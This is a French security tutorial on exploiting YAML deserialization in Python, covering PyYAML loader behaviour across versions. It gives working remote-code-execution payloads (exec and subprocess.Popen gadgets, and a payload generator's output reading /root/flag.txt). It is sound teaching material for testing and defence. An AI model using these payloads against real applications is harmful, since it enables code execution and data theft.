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# Désérialisation Yaml
Les bibliothèques **Yaml** de Python sont également capables de **sérialiser des objets Python** et pas seulement des données brutes :
```
print(yaml.dump(str("lol")))
lol
...
print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l
print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
```
Vérifiez comment le **tuple** n'est pas un type de données brut et donc il a été **sérialisé**. Et la même chose s'est produite avec le **range** (pris à partir des builtins).
 (1).png>)
**safe\_load()** ou **safe\_load\_all()** utilise SafeLoader et **ne prend pas en charge la désérialisation d'objets de classe**. Exemple de désérialisation d'objet de classe:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'
print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #
print(yaml.load_all(data, Loader=Loader)) #
print(yaml.load_all(data, Loader=UnsafeLoader)) #
print(yaml.load_all(data, Loader=FullLoader)) #
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #
print(yaml.unsafe_load_all(data)) #
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
Le code précédent utilisait **unsafe\_load** pour charger la classe python sérialisée. Cela est dû au fait que dans **la version >= 5.1**, il n'est pas possible de **désérialiser une classe python sérialisée ou un attribut de classe**, avec Loader non spécifié dans load() ou Loader=SafeLoader.
## Exploitation de base
Exemple de **comment exécuter un sleep**:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
## .load("\") vulnérable sans Loader
Les anciennes versions de pyyaml étaient vulnérables aux attaques de désérialisation si vous **n'avez pas spécifié le Loader** lors du chargement de quelque chose : `yaml.load(data)`
Vous pouvez trouver la [**description de la vulnérabilité ici**](https://hackmd.io/@defund/HJZajCVlP)**.** L'**exploit** proposé sur cette page est :
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Ou vous pouvez également utiliser ce **one-liner fourni par @ishaack** :
```yaml
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
```
Notez que dans les **versions récentes**, vous ne pouvez plus appeler `.load()` **sans un `Loader`** et le **`FullLoader`** n'est **plus vulnérable** à cette attaque.
# RCE
Veuillez noter que la création de payload peut être effectuée avec **n'importe quel module YAML python (PyYAML ou ruamel.yaml), de la même manière**. Le même payload peut exploiter à la fois le module YAML ou tout module basé sur PyYAML ou ruamel.yaml.
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))
deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)
#!!python/object/apply:subprocess.Popen
#- ls
print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```
## Outil pour créer des Payloads
L'outil [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) peut être utilisé pour générer des payloads de désérialisation python pour abuser de **Pickle, PyYAML, jsonpickle et ruamel.yaml:**
```bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!
cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
```
# Références
Pour plus d'informations détaillées sur cette technique, consultez : [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
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